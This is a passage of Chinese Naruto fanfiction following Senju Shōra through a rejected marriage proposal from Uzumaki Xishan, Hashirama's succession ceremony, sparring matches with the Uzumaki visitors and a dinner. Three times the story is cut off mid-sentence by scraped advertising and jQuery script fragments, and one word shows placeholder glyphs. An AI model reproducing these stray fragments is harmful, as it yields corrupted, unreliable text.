“漩涡奚山,父亲是漩涡现任族长,大哥健在已婚,小妹水户,身高一八八,没有不良嗜好,厨艺也尚可,细心体贴,一生只娶一位妻子,松萝大人若要寻心上人,不妨考虑一下我。”他说起话来不紧不慢,明明是自荐的话,脸上却没有该有的羞涩。 松萝长这么大第一次接受表白,内心虽然惊讶且窃喜,但还是觉得自己要明确拒绝他:“我…暂时没有寻心上人的打算,而且…” 他弯弯唇,一个漂亮的弧度,很容易让人放松警惕,他打断松萝的话,说:“很巧,我也没有。” “我在寻找的是‘一个盟友’。” 松萝的自作多情被泼了一盆凉水,语气便有些冷了:“……能将联姻说得这么理直气壮奚山大人可真厚脸皮。” “因为我觉得比起不怀好意的欺骗,您更喜欢光明正大的算计。” “算计谈不上,不过联姻而已,我倒觉得可以接受,只是可惜您找错了人。” 奚山似乎觉得跟她讲话很轻松,话语也变得随意了一点:“唉,本来我也没想牺牲自己的,可是我的族人接到信件远道迢迢而来,却连柱间大人的面都没见到,连扉间大人也不像是有联姻的想法,可不就只能我自己上了吗?” 他摊摊手,无辜的样子看得松萝火大,用力拍得打掉了他抬起的手。 “这位远道而来的大人,您是否高估自己了,跟我联姻您竟觉得是牺牲了自己,为什么不是我做出牺牲呢?而且大哥是因为太忙,本来他是要亲自来的,只是长老那边他抽不开身。” 奚山挑眉:“您的意思是,柱间大人愿意牺牲一下啰?” 松萝忍住想打人的冲动,礼貌微笑道:“先把您那牺牲的观念去掉!去掉!强扭的瓜不甜这句话你没听过吗?联姻是为了亲上加亲,不是为了雪上加霜。奚山大人就这么不信任千手和漩涡一族的盟友关系吗,非要扯一道联姻做保护?” 令她气倒的是,眼前这人当真认真地点点头:“非常需要,盟友若长久不添加维系也是会变的。” 之前怎么没觉得这人是个冥顽不灵的,她气呼呼地说:“若是正常的两个人互相喜欢愿意在一起,我绝对不会说什么,但是您都说了要‘牺牲’,大可不必。这几日你们可以和我们族人多接触,就会感到我们对于漩涡一族是真的全然是善意,至于……要找对象也随便你们。” “只要是双方互相喜欢自愿在一起就可以吗?” 他说这话的时候,眼睛定定地看着松萝,就差指明了说他还没放弃松萝了。 她后退一步,双手在胸前交叉,大大的拒绝:“我拒绝,你换个人吧。” “但你是最好的人选。下任族长千手柱间的唯一的妹妹千手松萝。” 这朵烂桃花啊烂桃花,完全是朵塑料桃花吧,没一点真心不说,看中的既不是她的美貌也不是她有趣的灵魂,而是她背后的势力。 她只能使出最后一招杀手锏:“退一万步我愿意‘牺牲’我自己,该死的我居然被你的牺牲论洗脑了!总之就算有一天我决定了要跟一个人在一起,那个人也必须入赘千手。” 他很是惊讶,瞪大了眼,他能感觉到这时她的真话:“为什么?” “不为什么,只是我自己这样决定了而已。” …… 看来最后的对话确实让漩涡奚山退却了,他没有再坚持要送松萝回去,而是自己回去了。 松萝说的确实是真话,也是刚刚才做的决定。千手对于木遁的看重程度比之宇智波对写轮眼的看重程度有过之而无不及。不可否认,拥有强大力量的和治愈能力她已经不能单独当一个普通忍者来看待。 这份力量不能落于其它忍族手中,即使是漩涡一族。 她并不觉得为难,比起虚无缥缈的未来心上人,现在的她很肯定,没有什么再比柱间和扉间在她心中的地位来得重要,嗯,也许还能再留一点位置给竹马弥良和青梅桃华。 ……至于脑海里一闪而过的另外一张脸,不提也罢。 26.继任前夜 * 第二日一大早她就带着漩涡一族的人认了认路,陪他们吃了早午饭,就随便指了一个人跟着他们,就离开了。 她中间多次偷看了漩涡奚山,见他没有分多余的眼神给自己,便知道这朵塑料桃花已经被劝退了。 果然这世上的男人大多听不得“入赘”“吃软饭”,嗯以后拒绝人就这么来好了。 她抬脚走向族长的议事处,柱间和扉间应该都在那里,他们两个忙起来容易忘记吃饭,她得去盯一下。 果不其然,看到了拎着食盒苦着脸站在议事处门外的小哥。 “给我吧。”她接过食盒,推门走了进去,小哥想要拦她的手僵在了半空。 人挺多,柱间,扉间自不用论,长老来了三个,还有原在父亲手下的几个得力助手都在。 她走进去,也不说话,默默地坐到扉间身边,淡淡的食物香气飘了出来。 这事突然就议不下去了,他们自动退了出去。 到无关人等都走后,扉间才皱眉训她:“你这样会被他们讨厌的。” “只是讨厌而已,不痛不痒。再说了,我这也是给他们一个顺理成章去吃饭的契机罢了,我倒觉得他们会在内心感谢我。” 扉间:“讨厌的次数多了,就会变成不满。” 松萝:“不满又如何,有你们在他们敢对我发泄不满吗?” 扉间:“你这是仗势欺人。” 松萝:“对啊,仗你的势,欺你的人。” 扉间:……他怎么觉得越来越说不过这张嘴了。 “好了,”柱间打圆场,“过来吃饭吧。我瞧着也没有人讨厌她,他们退出去的时候还是挂着笑跟松萝打招呼的。” 松萝心疼地看着他俩的黑眼圈,帮他们布好食物,忍不住问:“你们下午还要接着议事吗?” “不用,需要安排的基本都讨论完了。”柱间说着,想起来漩涡的事,“漩涡那六个年轻人怎么样了?” 提起这个她就有了怨气,幽幽开口:“你们知道漩涡一族这次来干什么的吗?” 柱间理所当然地回答:“续盟约啊,他们的带队长老昨天直奔我这里把跟父亲签的盟约又跟我重新签了一遍。” 松萝咬牙切齿:“不止!他们剩下六个人是来相亲的!原本应该是你们俩跟对面的女孩子相看,结果昨天变成了我一个人面对六人!!六人!!扉间全都是你的错!” 扉间听完非但没有愧意,反而轻松地说:“幸好昨天大哥派人把我叫来。” 松萝:…… 松萝抢过扉间的筷子,扎起他菜里的剩下的唯一一个肉丸就往嘴里放,让你幸灾乐祸,我让你吃不到肉。 “但是真的没关系吗,对面来的是漩涡族长的唯一的女儿,另外两个也是长老之女,看样子是真心实意想跟你们…的其中之一联姻。” 柱间抬手先发言:“我没兴趣。” 扉间紧接其后:“我也没兴趣。” 松萝叹了一口气:“唉,我让他们在族里随便看了,要是真能有互相看上的那就万事大吉,不然,我觉得那个奚山怕是要搞事情。” 扉间:“漩涡奚山?我会找人跟着他。” 松萝:“…额,不是这种意义上的搞事。我是觉得如果没人看对眼,他可能会想着拐一个回去,他那张脸是挺有迷惑性的。嗯…那张嘴也是。” 柱间从这话里听出了点什么:“他长得很好看?他还跟你说了什么?” 柱间的直觉有时候是真的可怕,松萝只好将她跟奚山昨晚的谈话简单讲了一下,然后总结:“我觉得他倒是没有恶意。” 柱间和扉间都没有说话,房间无端陷入寂静。 过了一会儿,柱间语气莫测地开口:“你没有必要一定要留在千手,我是说,如果你遇上了你喜欢的人,不要顾虑太多。” 松萝:“反正没有遇上嘛。我觉得这样挺好的,你们不用这样。能够入赘忍界两大忍族的千手,乐意的人多着呢。” 柱间弹了一下她的脑门:“哈哈,你倒是惯会给我压力。” * 因着第二日就是族长继任仪式,这天柱间和扉间早早地回了家休息。 千手是自古以来的大忍族后代,一向很注重仪式,但…也确实没有什么需要交接的东西,最多是族人们聚在一起,听大长老宣布这事后,做个见证,认一认新族长的长相。 不过自从知道漩涡一族要观礼之后,接任仪式又多了一个由族人挑战族长的流程——用来展示柱间的力量。 当听到这个挑战人由扉间来担任的时候,松萝的表情非常古怪,你们这是找了自己人当托然后表演给远亲看啊。 也不知道漩涡一族应该高兴还是高兴,不但能看到继任仪式,还能看到一场由族里两个同龄人里最出色的忍者带来的……表演赛。 既然是表演赛,应该会搞得比较华丽吧…… 也不知道他们商量过要怎么打没…… 抱着这样那样的想法,松萝很快就入睡了。 然后,她做了一个梦。梦里正是柱间在长老手中接过一本族训之时,围观的人群中一个青年走出,说要挑战族长。 松萝看着站出来的黑发青年内心暗自疑惑,怎么不是扉间呢,难道他们还安排了别的托? 然而等到那个挑战者抬起头时,松萝大惊,那居然是宇智波斑的脸! 他带着狂拽酷炫的笑容走到了人群中央柱间的对面,居然无一人上前拦他! 所有人面色如常就好像不认识他一样。 只有松萝的眼中能看到那个衣服突然幻化为宇智波族服的人。 柱间哈哈一笑,大气地接受挑战,然后跟宇智波斑比划了起来。初时还只是拳脚相交,后来是刀剑乱舞,后来那木遁和火遁的直接将交战范围扩大到了整个千手族地。 “住手!!”她一个人喊得声嘶力竭,交战中的两人却根本听不到一样越来越疯狂,周围的族人也不知不觉消失了。 接下来就更离谱了,白天的塑料桃花漩涡奚山突然出现在松萝身后,桀桀地笑着说:“趁现在我们来联姻吧。” 然后少年扉间,没带门框式护额的那个扉间拦在面前喊着“去死吧,人贩子!!”冲了上来。 这还没完,注意到这边出现的不速之客的柱间和斑一边打一边过来,少年扉间眨眼间长高,带上了门框,然后演变成了四人大混战。 松萝跪伏在地上,手里不知道什么时候出现了一本书,翻开来正是某本带颜色的练功小人漫画,她一边举着书,一边抹着泪:“别打了,要打去床上打啊……” 最后一个白发紫衣的辉夜出云把她从地上捞起来。 “走吧,该去处理政务了。” …… …… 松萝惊醒之后久久都陷在恶寒中无法自拔。 她掀开被子,走到院中吹冷风,试图把脑子里的那些梦的片段驱散。 院中有一个半成品的秋千,是三个孩子在小时候做的,不过被佛间发现后训斥了一顿,小秋千至今也只是个半成品。 估摸着自己也睡不着了,松萝突发奇想要将这个半成品完成。 对于当时的他们是不太容易,现在却是很简单。 她用木遁召出一截树木和藤条来,先把藤条绑上架子,再把树木劈开,削成板子,部件就都有了。 松萝准备组装之时,又有一个人出现在院子里,大片阴影打下来,松萝一下子就认出来是千手柱间。 “对不起啊,我吵醒你啦?” 他披散着长发,睡衣外搭着一件奶白色的外套,走过来将外套披给了松萝。 “没有,我本来也没睡着。” 然后他蹲下去,摸那些松萝正在鼓捣的东西。 “这是那个秋千?真令人怀念啊。” 松萝穿好外套,也蹲下来:“大哥为何不睡?” “睡不着。” 两人一起组装秋千,嘴里有一搭没一搭地聊着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 松萝:“是在担心明天的继任仪式吗?大哥也有类似于这种临场前的焦虑吗?” 柱间:“为何没有,我小时候最怕被学堂的老师考教古文历史,还有父亲的修行检验,父亲他总是很严格,对小孩子也不曾手软。” “原来大哥跟我也没什么两样啊。” 柱间绑好最后的绳子,直起身子:“不过我在想的却不是这个……松萝,禺黎城最近怎么样了?…秋千弄好了,坐坐看?” 松萝坐在简陋的木板椅上,说出了感想:“有点矮,有点硬,还有些窄……我也有一阵子没回去看过了,等漩涡一族走了我就回去看看,应当没什么问题。不是太富裕,但也至少人人温饱。虽然我有将一些东西教给他们,但果然没那么容易。” “那就先这样吧,改天我再找个长点的支架重新做。” “嗯嗯。” 两人重新寻了一个地方重新坐下。 “大哥想随我一起去看看吗?那里现在可是跟五年前完全不一样了哦?” 想去吗,柱间问自己,当然是想去的,那是松萝朝她的梦想迈出的第一步啊,他不但想去看,还想帮她。 她的梦想已经开始实现了,他却好像从未靠近过自己的梦想一丝。 松萝敏锐地感受到了身边的人的低落。 柱间一直都是温暖阳光,积极向上的,是最坚实可靠的人,但他也不是铁打的,难得也会想过放弃或者毁灭,偏偏这种脆弱的时候又总是碰上松萝,那次在祠堂是,现在也是。 她就像泥泞中的满开的花儿,只要看到她,再迷茫脆弱的自己也会觉得这世上还是有美好存在的,还是可以接着努力下去的。 “大哥?”松萝伸出双臂环住身边的人的腰身,把他的脑袋按在自己肩上,像他们平常安慰低落时自己那样,轻轻拍着他的背。 柱间因着体型差不得不缩着身子,弓着腰,起初还觉得有些哭笑不得,后来却有些沉溺。他抚上松萝柔顺的发丝,垂首间,发间的皂角香混着淡淡的幽香丝丝缕缕地钻入鼻尖。 松萝因着他摸头发动作,背后头发乱动,戳得她有点痒,便不由自主地往前靠近了些。 柱间突然间一僵,有什么柔软的东西触到了他的脸颊。一瞬间,他就想到了那是什么。 也在那一瞬间,他突然意识到松萝已经长大了,不可以随便对他撒娇了,却可以……嫁人了。 心中突然一涩,想到有一日她也会少女怀春,对那人哭,对那人笑,安慰人时将人像这样抱在怀里…… 他推开松萝,夜里凉,该进去了。 “回去吧,还能再睡一觉,这次不会再做噩梦了。” 松萝惊讶:“啊,你怎么知道……” 柱间笑:“如果不是做噩梦,你哪里会半夜这样子跑出来去做什么秋千?” 松萝一脸被戳破的悻悻:“大哥,有时候真搞不清楚你到底是聪明还是笨。” “是聪明还是笨我不知道,但只要是你的事,我都知道。” 说者无意,听者有心,松萝想起了近日时不时在脑海里跳的宇智波斑,小声嗫嚅:“也不是所有事你都知道的……” 她有心问问大哥对宇智波斑的看法,但他最近确实太忙了,于是压在心里,面上也不曾让他们看出来什么。 “大哥也去睡吧,再不好好休息你的黑眼圈就要超过扉间了。” “那可不行,族里女子已经为扉间受损的美貌黯然神伤了,要是我的帅脸再受到损伤她们一定会难过得哭泣的。” “天啊,没想到你是这样的大哥!” 说笑间,柱间将松萝送回了房间。松萝乖乖钻回被窝,然后甜甜地问:“大哥,你明早能来叫我起床吗?” 柱间疑惑:“?” “我想让你帮我梳个好看的发型。明天可是会有很多人在场呢。” 柱间失笑:“好。” 即使长大了还跟小时候一样臭美,也不忘随时随地折腾他。 27.继任仪式 * 第二天早上,柱间换上好族服来叫松萝起床的时候,惊讶地发现她已经将自己从上到下都收拾好了,柔发的上半部分缠绕编好后用金环束住,下半部分自然垂落,两侧贴着金叶子形状的小发簪,固定了碎发,露出她美好的俏脸。 “你怎么……”不是说要我帮忙的吗? 松萝见柱间来了,拉着他在梳妆台坐下,拿出梳子给他梳理头发。 “今天你才是主角,我哪能真的抢你的风头啊,族长大人。我就是诓你过来,然后我们一起吃了早饭再过去。我可不想让族人看到一个在继任仪式上饿晕的族长。”她为了让这俩人好好吃饭,真是操碎了心啊。 “……你太夸张了。就算一天不吃我也不至于晕倒。” 松萝笑而不语,却威胁力十足,柱间表示投降。 “扉间呢?” 柱间:“……他已经走了。”就在刚刚。 “什么?!”松萝把梳子拍在桌上,“又不是他当族长,比你还急着跑过去干嘛!!” 柱间试图为他辩解:“……他也有很多准备工作要做,而且还要维持秩序……” 松萝拽着柱间起来,完全没有刚才梳头发时的温和,从抽屉里拿出一个白布包裹着的东西没好气地塞到柱间怀里:“礼物。” 然后拉着他的袖子往外走:“走!” 柱间一边手忙脚乱地把白布塞进怀里,一边跟在她后面:“啊?去哪儿?早饭不吃啦?” 松萝头也不回:“吃你个大头鬼!啧,路上买了找扉间吃去。” * 等到仪式正式开始的时候,松萝也只是站在人群中仰望的一员。 她的身边是漩涡一族的六个人,她如约将他们带了过来,安排了一个角度很好的位置。 长者赐缎,上面绣着森之千手的族徽,柱间双手接过,系在自己空荡的额前。 长者赐刀,一指宽,一米多长,柱间双手接过置于胸前。 再说上几句话,千手柱间便成了现任族长,如此简单。 接下来,就是新任族长的发言时间。 松萝看着临时搭建的高台上的人微微出神。 森之千手的族服以绿白两色为基调,里衫是象征着新芽的嫩绿,外衫是象征纯净苍穹的纯白,袴是象征结实大地的条纹灰。这样易脏的颜色忍者并不常穿,多是能隐藏自己的黑色、深绿、深蓝,但放在眼前的人身上,倒比黑色作战服和红色盔甲更适合。 松萝从来千手家的第一天就知道,千手家的长子柱间喜欢养些花花草草,看到花谢他会难过,看到草枯他也会难过。只是这样纤细怜悯的心也逐渐在弟弟们的死亡后收了起来,被包围在刀光剑影之中。 他其实一点也不喜欢战斗,当然是指没有意义的战斗。 如果可以,他一定只想过和和平平,种瓜养花的生活。 他说他和宇智波斑有同样一个梦想,要建一个村子,把弟弟妹妹都放在这个村子里保护起来,不让任何人伤害他们。 宇智波斑,他也是这样想的吗? 她和斑在一起时倒从未谈论过梦想,他们平常都做些什么呢?吃饭,出去玩,吃饭,出去玩…… …… 细细想来,他们的交往肤浅得如同稚儿玩伴。 她真的了解斑吗?作为宇智波族长之子,在她看不到的地方,他都在做什么呢?他现在是否像柱间一样忙得焦头烂额?他身边是否有扉间一样的人为他分担族务,又是否有自己一样的人能关心他的三餐和睡眠? ……千手松萝啊,你在干什么?担心一个敌对忍族的族长?倒还不如担心以后会有多少族人死在对方手中。 她挥开烦乱的思绪,重新将视线聚焦,却发现周围一片寂静。 “……” 很快她就明白发生了什么事情了。 因为高台上的那人,说的话做的事实在令人傻眼啊。 “抱歉,扉间,你给我写的宣誓,我全都忘记了哈哈。” “我不会说漂亮话,也没有我弟弟扉间那么聪明,甚至连族长宣誓都背不下来,但我还是站在了这里。我不是天才也不是全才,我只是一个跟普通人没有什么区别的庸才。有人死在我面前我会动摇,查克拉用尽我也会害怕,我也有拿不稳刀的时候,但是……” “只要我深爱的人还在这里,我会赌上我性命和信念为了守护永远战斗下去。这一点,过去、现在、未来,永远都不会变。” “森之千手第九十九代族长,千手柱间在此起誓,我绝不会输。” 人群一下子就炸开了,不复刚才的安静。 “千手柱间!千手柱间!千手柱间!” 松萝站在人群中静静仰望柱间的笑脸,温暖有力,任身边热血沸腾的族人的喊声震天,她也只能听得到看得到远处的那一人。 这就是他啊,是她一直仰望的人,是她即使在五年间无数次遇到挫折也想坚持下去的动力,是她梦想萌生的源头啊。 她的太阳,终于也将光照到了外面,成为了别人的太阳。 倒是身边的漩涡一族的人被声音吓到,松萝转过头,歉意地说:“抱歉,他们太激动了。” 奚山:“抱歉吗?你的眼睛可不是那么说的。” 松萝给了他一个大笑容,眼神亮得出奇:“你说的对,我一点也不感到抱歉,我跟他们一样很高兴,很自豪。我甚至想跟他们一起喊。” 奚山被她的笑容晃到,不自觉地皱了皱眉,接着她的话问道:“那你为什么不喊呢?” “因为,我已经喊了无数遍了。” 明明还是那双眼睛,奚山却觉得那视线前方的自己有被灼到,他头一次避开了松萝的视线。 人群很快安静下来,按柱间之前说的安排,接下来应当是扉间上场挑战他,给漩涡一族展示一下实力。 不过,计划永远赶不上变化。 漩涡一族的带队队长的那名长者和千手大长□□同上前,跟柱间说了些什么之后,就突然改为了漩涡和千手之间的友好切磋。 双方各派三名青年才俊,点到为止的切磋。 漩涡的六个年轻人突然骚乱起来,很明显,他们也是被自己的长老坑了。 柱间朝松萝招了招手,松萝就明白了他的意思,带着六名年轻人走到他们那边。 最年少的那个少女一见到他们队长就气呼呼地质问:“爷爷!你怎么不提前告诉我们!” “嚯嚯嚯嚯,”长者摸着自己的胡子,笑着问,“机会难得,你们谁想去?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 奚山和水户对视一眼,最先站了出来,紧接着另一名身材健壮的长发青年也往前跨了一步。 松萝此时已经跟柱间、扉间站在一起讨论,对面如果是族长之子奚山和水户上的话,这边就不得不由扉间和松萝上了,柱间的身份已经是族长,显得不是那么合适。不过远道而来是客,刚刚就宣布了可以由漩涡的人自行挑选对手,按理说应当会变成奚山vs扉间,水户vs松萝,剩下那人就不清楚了。 果然,第一个出来的是漩涡水户。 松萝正要抬脚上去,却听到对方说:“久闻千手族长大名,漩涡水户可能在今日讨教一番?” 所有人的视线便都汇聚到了柱间身上。 这…… 柱间给了他俩一个放心的眼神,走了过去。 两人寒暄一句,很快交起了手。松萝和扉间并肩而立,眼睛一眯,觉得事情没那么简单。 “扉间,你说水户为什么要挑战大哥啊,她这是真的想要见识一下木遁,还是对大哥有意见啊?” “哼,”扉间笑了一声,带上了点幸灾乐祸,“都不是,她是看上大哥了。” “啊!”松萝下了一大跳,“这,这么快?” “估计父亲之前看中的就是漩涡水户,其他人只是陪同她来的,然后她又在大哥和我之间选择了大哥。” 松萝:“……你是说,这又是一个要自我牺牲进行联姻的漩涡吗?” 扉间刚才注意观察过水户的眼神:“倒也不全是,她应当是对大哥有些好感的。” 松萝:“那怎么办,可是大哥不喜欢她啊!” 扉间飞快地看了她一眼,在她没发现之时又移回台上:“你怎么知道大哥不喜欢她?” “这肯定啊,你看大哥这一拳,一脚,根本就没有怜香惜玉的意思,谁会对喜欢的人这样啊,哎哟,我看着都觉得痛。” 扉间:…… 扉间:“这个时候不留情才对,这架打完,漩涡水户就必定知晓大哥的意思了。” 松萝还是一脸疼惜:“话虽如此,但我若是水户,在大庭广众之下败给大哥之后必定要在心中记上一笔,然后找个比他更厉害更帅的到千手再打一架。” 扉间无语:“……你到底站在谁那边?” 松萝:“谁又美又惨我站谁啰。” 扉间:“这话真该让上面的人听一听。胳膊肘往外拐的家伙。” 就他们聊了这几句的功夫,上面就结束了,还是在柱间已经收敛了的情况下。 柱间归来,松萝立刻迎上去,拿出帕子要给他擦脸上的灰。 柱间一愣,没有让她动手,而是接过了帕子自己擦。 扉间随后出现,一开口就是“挑拨离间”:“她刚刚还说你不够‘怜香惜玉’,如果是她被你这样子打败了,一定要记你一笔,再找个更强、更帅的男人回来找场子。” 他本也没有别的意思,就是打趣一下松萝,跟平常的拌嘴是一个性质,原以为大哥会哈哈大笑,但柱间没有。 他好像把这话当真了一样,愣愣地看着松萝,然后低声说:“是吗。”不知道是问句还是感叹句。 扉间的笑容倏的僵住了,打趣的话就此断在了喉间。 好像,有什么不一样了。 28.继任仪式后 容他们对话的时间很短暂,漩涡奚山第二个上场,他指名的也不是扉间,而是松萝。 话一出口,其实他自己也小小的懊悔了一下,本来已经决定要跟扉间打的,走到这高台上,突然想起松萝那灼灼的目光注视的就是这里的时候,到了嘴边的名字不知不觉地就转了个弯。 所以当松萝站在他对面时,他先说了一句“抱歉”。 松萝本来以为他“贼心不死”,见到他这反应似乎又不是如此……难道,他是为了刚才他妹妹的反常指名作伴,好让他妹妹没有那么尴尬? 她觉得自己猜到了真相,客气地回:“没事,这可是个难得的切磋机会呢。不过……” “我还是要说,你选人的眼光真的不怎么样。我可是,很强的。” 她的话里战意满满且真诚,漩涡奚山也不禁多加了几分认真,他也回道:“我也是。你要小心了。” “第二场,开始!” 漩涡奚山说他很强的话确实没有夸大。漩涡一族本来就跟千手一族一样拥有强大的生命力和查克拉,只是他们的封印术过于有名,容易让人忽略了别的。 他的体术确实在松萝之上,看破了松萝的破绽打在了她身上,同时还说了一句“抱歉,我留力了”。 松萝:…… 小宇宙突然就燃起来了,老娘要发威了,都别拦着我! 不过她还不忘提醒一下观众,大喊一声“让开”。 漩涡奚山一时没反应过来,还以为是对他说的。下一刻就看到高台突然四分五裂,深棕色的树根从黑黢黢的裂缝伸出来,他赶紧退开。 同时有细小的藤蔓卷上了松萝的身子,一圈圈绕在她全身,就像一件绿色的盔甲。 松萝得意地昂起头,这可是她自创的“木遁·附甲之术”呢。 此时奚山内心充满了震惊。 竟然,是木遁!! 抬头时目光已经与之前完全不同,有浓烈的情绪在燃烧。 再交起手时,松萝速度和力量比之前快上一倍,身上的藤蔓不但是盔甲,也是武器,就像有自主意识一样不停地干扰奚山。局势一下子就扭转了。 又一次退开之后,漩涡奚山脖子上已经多了两道被细藤鞭过的红痕,被鞭笞之时,她还得意地把他刚刚说的话原原本本奉还了回来“抱歉,我留力了”。 面上明明全是幸灾乐祸,打上来的时候也不像是留了力的样子,真是……娇蛮。 明明是被打的哪一个,他却忍不住笑了起来,一点也没有生气或者恼怒的样子。 不过,他也要认真了。 仙人模式。 漩涡奚山的眼眶周围突然多了一圈橙红色的眼影,瞳仁似乎也出现了变化,就连气息和存在感也变得比之前弱了许多。这种感觉她在柱间身上感受到过,是将自己与自然融为一体,从自然借取力量的仙人模式。 松萝也不留手,召唤出一排木头墙拦在中间,然后把自己用坚硬的黑色巨藤裹成一个不留一丝缝隙的球,这是她的一种“绝对防御”姿态,在探究清楚对方的忍术前先躲在里面观察一下。 奚山用的是火遁,但他已经发现火遁对松萝的木遁效果不佳,遂改为了用强大的肉身作战。 听着“砰砰”的拳头打在球上的声音,松萝寻思着他也差不多该手疼了,自己也不能一直躲着,就主动撤销了防御球。 然后放了个小型的“木遁·禁锢牢笼”,然后召出满口尖牙的玫瑰花进牢跟他打。 过一会儿再放棵迷幻草进去放烟雾,再过一会儿再换荆棘草洒出针刺…… 没办法,仙人模式下的奚山不管是力量还是速度都成倍增长,她不是对手,只能在牢笼外当个站桩输出怪了。 最终,漩涡奚山是被她耗到气喘吁吁认的输。 不然他俩一个仙人模式一个站桩看戏,这么耗下去,天都要黑了。 奚山虽然认输了,但并没有难过之意,他对松萝多了欣赏之意,真心实意地回应开打前她说的话:“你确实很强。” 松萝也真心实意地回应:“你也是。”你是我见过的第二个会仙人模式的人。 第三场扉间也没有被指名,来自漩涡的青年只在台上问有没有人想跟他打,就有千手青年跳了上去,跟他打了一场。 这一场才是真的好看,全是漂亮的拳脚功夫,和精妙的分身对决,有勇有谋,看得松萝津津有味。 * 三场比赛打完,千手的年轻人也对漩涡的人刮目相看,尤其是漩涡奚山,被围在一群人中间,有说有笑,还有不少女孩子在旁边偷偷看他。 那边气氛不错,这边也是。千手以二比一的战绩战胜了漩涡,总归是令人高兴的。不少人过来向新族长祝贺,也有不少人围着松萝,称赞她刚刚多么帅多么美,听得松萝都要飘起来了。 要不是夸她的人实在太多,钱袋负担不起,她真想一挥手请所有人去喝酒吃饭。 不过等围着的人都散去之后,柱间并扉间、松萝还是邀请了所有漩涡的客人去聚餐,账反正从公费里出。 …… 他们现在的座位,有点……奇妙。 大圆桌一圈,依次是柱间、水户、奚山、松萝、漩涡男、漩涡女、扉间、漩涡女、漩涡男。 刚一坐下,漩涡的女孩子就好奇地盯着扉间的护额。 松萝想起答应她们的事,就拜托扉间取下来,果然听到一片吸气声,坐在他旁边的两个女孩子都忍不住红了红脸。 扉间虽然面无表情,但松萝还是眼尖地瞧见了他红红的耳朵。 ——所以扉间到底是怕被女孩子缠上还是怕女孩子靠近他会害羞啊哈哈哈哈! 眼看他恼羞成怒就要戴回去,松萝突然起身夺过:“这个,暂时我来保管。吃饭的时候万一弄脏了多麻烦啊是不是嘻嘻?” 这只是开饭前的一个小插曲,却拉近了众人的距离。 上菜时正好所有荤菜都摆在松萝面前,素菜要起身才能夹到。 知晓她吃饭第一口必须是素菜的习惯的柱间和扉间皱了皱眉,正要不动声色地把菜的位置改一改的时候,奚山夹了一筷子青菜放到松萝碗里。 松萝惊讶得瞪大了眼,像是在问你怎么知道的。 奚山耸肩:“我说过我很细心也很体贴的。” 看她还是疑惑就多解释了一下:“前天的晚宴先上的荤菜都快凉了你也没有动,直到素菜被端上来你才动筷子。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太厉害了,松萝忍不住拍手称赞:“那时候才第一次见,你就能观察得那么仔细?你对身边的动静也太敏锐了吧?一直都这样吗?” 他听着给他戴的高帽越来越离谱,无奈地压低声音给她解释:“你想太多了,怎么可能有人能每时每刻注意周围所有的动静呢?我也只有一双眼睛一个鼻子一双耳,当然是因为那个时候正好在观察你。” 他这话说得直白,但松萝明白他的意思,接受良好,倒是坐在奚山另一边的水户频频看过来,似有些好奇。 她好像是听到了…有那么一点点尴尬。 松萝咳嗽一声,就当这个事情过去了。 席间都是同龄人,讲着最近的趣事,也是有说有笑。松萝不太熟悉她左手边的人,只客套了几句,主要还是跟奚山讲话。 也许是两人之间“坦诚”过的缘故,聊起天来倒是挺轻松的。 “你的头发为什么要剪这么短?”松萝问出了她见到奚山第一眼时就有的疑惑。 奚山唉了一声:“都是我这张脸惹的祸啊。” 松萝:……最近遇到的自恋男孩好像有点多? “所以呢?” “其实是我自己剪的,长发是追我的女孩子太多了,剪成这样就没多少人敢靠近了。” “为什么这样就不敢靠近了?” “我这样看着不凶不怪异吗?” 松萝仔细地打量了一下,还是摇摇头:“我觉得你要躲女孩子的话,不应该剪头发,而是应该跟我二哥一样把脸遮起来。” 这话听着就是在真诚地赞美他的脸,奚山轻笑,给了她一个这几天最真心实意的笑:“你的赞美我接了,不过你这么可爱我刚刚骗了你,突然觉得良心有点痛。” 松萝:? 他看着被骗得一脸懵圈的女孩,有一缕发丝散了就要落到碗里,急忙帮她扶了一下发丝,别到脑后。 松萝愣了一下,没来得及拒绝,她不太习惯不熟的人的靠近。但看他一脸自然的样子,也不好拿这事再说什么,怕显得自己小气。 “头发虽然是我自己剪的,但并不是为了躲女孩子的追求,实际上你也说了,只要这张脸在就没有女孩子能拒绝我,嗯,除了你。” 松萝:……?她刚刚是这么说的吗? “我就是练火遁时不小心把头发点着了,就干脆都剪了。” “不是吧,我以为练火遁烧着头发这种事情只有在不熟练的小孩子身上才会发生。” “你就嘲笑吧,”他难过地低下头,“所以我才宁可骗你也不告诉你事实,而且见到我现在的头发的人都说难看,怪异……” 松萝没想嘲笑他让他难过,赶紧赔礼道歉,哪知他的肩膀一颤一颤的,抬起的脸憋笑憋得很辛苦。 松萝短短时间内被骗两次,转过筷子就去戳他。 “又骗我!” “哈哈哈哈,你…意外得很单纯啊哈哈哈哈,很好骗哈哈哈哈。” 松萝起身,饭也吃得差不多了,她实在不想听这个恼人的笑声,丢下一句“我吃饱了”就先离席了。 见她被惹跑了,奚山止住笑,也赶紧追了出去。 他们走后,柱间放下筷子,脸色有些冷。 29.桃花一朵 * “对不起我错了,很多人说我头发怪异是真的,但我没在意他们说的话……我不该在你面前演戏博你同情的…” 奚山追出来,落后松萝半步给她解释。 最后以他用漂亮的发饰收买了松萝结束了这场闹剧。 松萝把玩着手里的珠钗,做工精致,色彩艳丽,瞧着挺贵重的:“你追出来做什么,我可不想误会跟你有什么关系。” “我做错了事,我应该来道歉。如果他们因此误会,我来解释。” 松萝看他一眼,满意地点点头,这回答不可谓不标准了。这般善解人意又细心体贴,若是能做成朋友也不错。 这样想着,不经意间对上他的视线。 “……你看我做什么?” “看你可爱。” 松萝:…… 松萝怀疑他又要出什么招:“谢谢啊,说我可爱的没有八百也有一千了,你是第一千零一个夸我可爱的了。” “原来你也这么受欢迎啊,巧了,夸我帅的人你也是第一千零一个。” 松萝原地止步,一言难尽地看着奚山:“你知道你现在像什么吗?” 奚山是真好奇:“像什么?” “像登徒子。” 她撂下话继续走。 被留下的漩涡奚山摸摸有些变热的脸,自言自语:“有那么明显吗?” 